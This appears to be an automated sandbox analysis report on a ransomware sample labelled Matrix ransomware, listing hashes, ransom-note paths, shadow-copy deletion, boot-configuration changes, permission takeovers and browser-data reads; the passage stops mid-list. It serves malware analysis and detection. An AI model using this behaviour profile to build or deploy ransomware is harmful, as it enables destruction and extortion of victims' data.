Analysis
-
max time kernel
4294181s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20220223-en -
submitted
06-03-2022 03:43
Static task
static1
Behavioral task
behavioral1
Sample
c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
Resource
win7-20220223-en
Behavioral task
behavioral2
Sample
c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
Resource
win10v2004-en-20220112
General
-
Target
c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe
-
Size
1.5MB
-
MD5
d53ccdb792739dd1371f0738160cb9de
-
SHA1
1a37f02936c5978b3f689ff05432ec21eccc76e8
-
SHA256
c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4
-
SHA512
9d0843abb5fa71177f9cbbb18846bcd1e26d90313017657eac7aadd63246f8ce0c3bd0122c0694b9f08d08d039785111480453cd70b29c5574baa3b1c6845e7c
Malware Config
Extracted
http://myexternalip.com/raw
Signatures
-
Matrix Ransomware 64 IoCs
Targeted ransomware with information collection and encryption functionality.
description ioc Process File created C:\Program Files\Google\Chrome\Application\89.0.4389.114\VisualElements\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\include\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\faxxuvis.default-release\OfflineCache\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\lua\meta\art\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\ro\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\pt_PT\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\All Users\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Roaming\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\FreeCell\fr-FR\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Solitaire\ja-JP\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\gu\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Public\Desktop\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Protect\S-1-5-21-1405931862-909307831-4085185274-1000\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Public\Documents\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\Javascripts\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\bn\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Reader\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\locale\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\All Users\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\FreeCell\ja-JP\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Minesweeper\it-IT\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Multiplayer\Spades\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\core\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\modules\ext\locale\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\update_tracking\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\SpiderSolitaire\en-US\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files (x86)\Microsoft.NET\RedistList\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\amd64\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\faxxuvis.default-release\cache2\entries\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\lg\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Google\Chrome\Application\Dictionaries\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\com.jrockit.mc.console.ui.notification_5.5.0.165303\META-INF\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\profiler\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\zh_CN\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files (x86)\Adobe\Reader 9.0\Resource\TypeSupport\Unicode\Mappings\Mac\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\ProgramData\Mozilla\updates\308046B0AF4A39CB\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\Favorites\Microsoft Websites\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\include\win32\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\plugins\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Chess\en-US\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Hearts\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Multiplayer\Spades\en-US\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\missioncontrol\features\org.eclipse.babel.nls_eclipse_ja_4.4.0.v20140623020002\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\lua\modules\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\sl\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\js\index-dir\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Code Cache\wasm\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\VideoLAN\VLC\locale\ru\LC_MESSAGES\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Hearts\it-IT\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Mozilla Firefox\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\ProgramData\Package Cache\{5740BD44-B58D-321A-AFC0-6D3D4556DD6C}v12.0.40660\packages\vcRuntimeAdditional_amd64\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Crash Reports\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\visualvm\core\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Multiplayer\Checkers\it-IT\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sessions\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Java\jdk1.7.0_80\jre\lib\zi\Indian\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File created C:\Program Files\Microsoft Games\Purble Place\de-DE\#FOX_README#.rtf c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe -
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
-
Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
-
Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
pid Process 212 bcdedit.exe 1632 bcdedit.exe -
Blocklisted process makes network request 1 IoCs
flow pid Process 9 1644 powershell.exe -
Drops file in Drivers directory 1 IoCs
description ioc Process File created C:\Windows\system32\Drivers\PROCEXP152.SYS r0B5wIrd64.exe -
Executes dropped EXE 64 IoCs
pid Process 268 NWwVkFPm.exe 828 r0B5wIrd.exe 1552 r0B5wIrd64.exe 1416 r0B5wIrd.exe 540 r0B5wIrd.exe 1148 r0B5wIrd.exe 1456 r0B5wIrd.exe 1136 r0B5wIrd.exe 1252 r0B5wIrd.exe 540 r0B5wIrd.exe 1988 r0B5wIrd.exe 984 r0B5wIrd.exe 1504 r0B5wIrd.exe 1972 r0B5wIrd.exe 540 r0B5wIrd.exe 1672 r0B5wIrd.exe 984 r0B5wIrd.exe 1416 r0B5wIrd.exe 1592 r0B5wIrd.exe 1292 r0B5wIrd.exe 1528 r0B5wIrd.exe 836 r0B5wIrd.exe 1252 r0B5wIrd.exe 1684 r0B5wIrd.exe 1516 r0B5wIrd.exe 540 r0B5wIrd.exe 1988 r0B5wIrd.exe 1544 r0B5wIrd.exe 1268 r0B5wIrd.exe 1972 r0B5wIrd.exe 1020 r0B5wIrd.exe 1520 r0B5wIrd.exe 1292 r0B5wIrd.exe 1448 r0B5wIrd.exe 1456 r0B5wIrd.exe 112 r0B5wIrd.exe 204 r0B5wIrd.exe 540 r0B5wIrd.exe 1376 r0B5wIrd.exe 1456 r0B5wIrd.exe 1404 r0B5wIrd.exe 112 r0B5wIrd.exe 220 r0B5wIrd.exe 1632 r0B5wIrd.exe 540 r0B5wIrd.exe 960 r0B5wIrd.exe 1268 r0B5wIrd.exe 1264 r0B5wIrd.exe 1248 r0B5wIrd.exe 1512 r0B5wIrd.exe 1148 r0B5wIrd.exe 236 r0B5wIrd.exe 1516 r0B5wIrd.exe 1096 r0B5wIrd.exe 1352 r0B5wIrd.exe 740 r0B5wIrd.exe 1460 r0B5wIrd.exe 2028 r0B5wIrd.exe 1320 r0B5wIrd.exe 1684 r0B5wIrd.exe 1596 r0B5wIrd.exe 1352 r0B5wIrd.exe 1784 r0B5wIrd.exe 1460 r0B5wIrd.exe -
Modifies extensions of user files 1 IoCs
Ransomware generally changes the extension on encrypted files.
description ioc Process File opened for modification C:\Users\Admin\Pictures\DebugUnlock.tiff c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe -
Sets service image path in registry 2 TTPs
-
resource yara_rule behavioral1/files/0x00080000000122e3-71.dat upx behavioral1/files/0x00080000000122e3-70.dat upx behavioral1/files/0x00080000000122e3-72.dat upx behavioral1/files/0x00080000000122e3-77.dat upx behavioral1/files/0x00080000000122e3-76.dat upx behavioral1/files/0x00080000000122e3-80.dat upx behavioral1/files/0x00080000000122e3-81.dat upx behavioral1/files/0x00080000000122e3-83.dat upx behavioral1/files/0x00080000000122e3-84.dat upx behavioral1/files/0x00080000000122e3-87.dat upx behavioral1/files/0x00080000000122e3-86.dat upx behavioral1/files/0x00080000000122e3-89.dat upx behavioral1/files/0x00080000000122e3-90.dat upx behavioral1/files/0x00080000000122e3-92.dat upx behavioral1/files/0x00080000000122e3-93.dat upx behavioral1/files/0x00080000000122e3-96.dat upx behavioral1/files/0x00080000000122e3-95.dat upx behavioral1/files/0x00080000000122e3-98.dat upx behavioral1/files/0x00080000000122e3-99.dat upx behavioral1/files/0x00080000000122e3-102.dat upx behavioral1/files/0x00080000000122e3-101.dat upx behavioral1/files/0x00080000000122e3-104.dat upx behavioral1/files/0x00080000000122e3-105.dat upx behavioral1/files/0x00080000000122e3-107.dat upx behavioral1/files/0x00080000000122e3-108.dat upx behavioral1/files/0x00080000000122e3-110.dat upx behavioral1/files/0x00080000000122e3-111.dat upx behavioral1/files/0x00080000000122e3-113.dat upx behavioral1/files/0x00080000000122e3-114.dat upx behavioral1/files/0x00080000000122e3-116.dat upx behavioral1/files/0x00080000000122e3-117.dat upx behavioral1/files/0x00080000000122e3-119.dat upx behavioral1/files/0x00080000000122e3-120.dat upx behavioral1/files/0x00080000000122e3-122.dat upx behavioral1/files/0x00080000000122e3-123.dat upx behavioral1/files/0x00080000000122e3-125.dat upx behavioral1/files/0x00080000000122e3-126.dat upx behavioral1/files/0x00080000000122e3-128.dat upx behavioral1/files/0x00080000000122e3-129.dat upx behavioral1/files/0x00080000000122e3-131.dat upx behavioral1/files/0x00080000000122e3-132.dat upx behavioral1/files/0x00080000000122e3-135.dat upx behavioral1/files/0x00080000000122e3-134.dat upx behavioral1/files/0x00080000000122e3-137.dat upx behavioral1/files/0x00080000000122e3-138.dat upx behavioral1/files/0x00080000000122e3-140.dat upx behavioral1/files/0x00080000000122e3-141.dat upx behavioral1/files/0x00080000000122e3-143.dat upx behavioral1/files/0x00080000000122e3-144.dat upx behavioral1/files/0x00080000000122e3-147.dat upx behavioral1/files/0x00080000000122e3-146.dat upx behavioral1/files/0x00080000000122e3-149.dat upx behavioral1/files/0x00080000000122e3-150.dat upx behavioral1/files/0x00080000000122e3-152.dat upx -
Loads dropped DLL 64 IoCs
pid Process 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 1668 c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe 864 cmd.exe 828 r0B5wIrd.exe 1268 cmd.exe 1444 cmd.exe 1780 cmd.exe 1384 cmd.exe 1768 cmd.exe 1068 cmd.exe 712 cmd.exe 2024 cmd.exe 832 cmd.exe 836 cmd.exe 1268 cmd.exe 1280 cmd.exe 1448 cmd.exe 1964 cmd.exe 896 cmd.exe 1504 cmd.exe 712 cmd.exe 112 cmd.exe 1612 cmd.exe 1672 cmd.exe 1504 cmd.exe 564 cmd.exe 1992 cmd.exe 2000 cmd.exe 1052 cmd.exe 684 cmd.exe 1332 cmd.exe 1280 cmd.exe 1988 cmd.exe 1528 cmd.exe 568 cmd.exe 1404 cmd.exe 1320 cmd.exe 1684 cmd.exe 1988 cmd.exe 224 cmd.exe 1096 cmd.exe 1764 cmd.exe 2024 cmd.exe 996 cmd.exe 212 cmd.exe 564 cmd.exe 896 cmd.exe 1252 cmd.exe 1528 cmd.exe 1068 cmd.exe 220 cmd.exe 1200 cmd.exe 1768 cmd.exe 2000 cmd.exe 1000 cmd.exe 1784 cmd.exe 1528 cmd.exe 1376 cmd.exe 1512 cmd.exe 1404 cmd.exe 1768 cmd.exe 1280 cmd.exe 228 cmd.exe 1672 cmd.exe -
Modifies file permissions 1 TTPs 64 IoCs
pid Process 212 takeown.exe 1784 takeown.exe 1772 takeown.exe 1592 takeown.exe 2000 takeown.exe 2024 takeown.exe 1136 takeown.exe 896 takeown.exe 1672 takeown.exe 2024 takeown.exe 1756 takeown.exe 1780 takeown.exe 1052 Process not Found 2004 takeown.exe 204 takeown.exe 1096 takeown.exe 1460 takeown.exe 592 Process not Found 972 Process not Found 1280 takeown.exe 1520 takeown.exe 1396 takeown.exe 2024 takeown.exe 112 takeown.exe 920 takeown.exe 1096 takeown.exe 1048 takeown.exe 1816 takeown.exe 212 takeown.exe 1048 takeown.exe 1280 takeown.exe 296 takeown.exe 1280 takeown.exe 1964 takeown.exe 1528 takeown.exe 1516 takeown.exe 112 takeown.exe 564 takeown.exe 592 takeown.exe 212 takeown.exe 236 takeown.exe 1352 takeown.exe 1136 takeown.exe 568 takeown.exe 1860 takeown.exe 1068 takeown.exe 1252 takeown.exe 2004 takeown.exe 712 takeown.exe 1516 takeown.exe 1280 takeown.exe 1280 takeown.exe 1528 Process not Found 592 Process not Found 1096 takeown.exe 1048 takeown.exe 1860 takeown.exe 960 takeown.exe 1764 takeown.exe 1200 Process not Found 2004 takeown.exe 224 takeown.exe 296 takeown.exe 1596 takeown.exe -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Drops desktop.ini file(s) 40 IoCs
description ioc Process File opened for modification C:\Users\Admin\Favorites\Links for United States\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Favorites\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\72C1GWO9\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Libraries\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Music\Sample Music\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Recorded TV\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Chess\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Downloads\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\SpiderSolitaire\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Desktop\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Downloads\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Saved Games\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Contacts\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Purble Place\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Recorded TV\Sample Media\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Documents\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Desktop\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\FreeCell\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Videos\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Links\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Searches\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\M7YMRK48\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Mahjong\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Favorites\Links\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Documents\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\AGWPI80M\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Pictures\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Hearts\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files (x86)\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Music\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Videos\Sample Videos\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\AppData\Local\Microsoft\Feeds Cache\AZW6OKHO\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Program Files\Microsoft Games\Solitaire\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Videos\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Pictures\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Admin\Music\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened for modification C:\Users\Public\Pictures\Sample Pictures\desktop.ini c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe -
Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\H: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\F: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\K: r0B5wIrd64.exe File opened (read-only) \??\R: r0B5wIrd64.exe File opened (read-only) \??\X: r0B5wIrd64.exe File opened (read-only) \??\U: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\S: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\L: r0B5wIrd64.exe File opened (read-only) \??\N: r0B5wIrd64.exe File opened (read-only) \??\Y: r0B5wIrd64.exe File opened (read-only) \??\Z: r0B5wIrd64.exe File opened (read-only) \??\G: r0B5wIrd64.exe File opened (read-only) \??\H: r0B5wIrd64.exe File opened (read-only) \??\T: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\R: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\T: r0B5wIrd64.exe File opened (read-only) \??\X: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\V: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\P: r0B5wIrd64.exe File opened (read-only) \??\V: r0B5wIrd64.exe File opened (read-only) \??\Z: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\G: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\J: c28a250e0f9479871c6bf23d04275224aa7f220b16e1af1dc20d36beb0e35eb4.exe File opened (read-only) \??\I: r0B5wIrd64.exe File opened (read-only) \??\J: 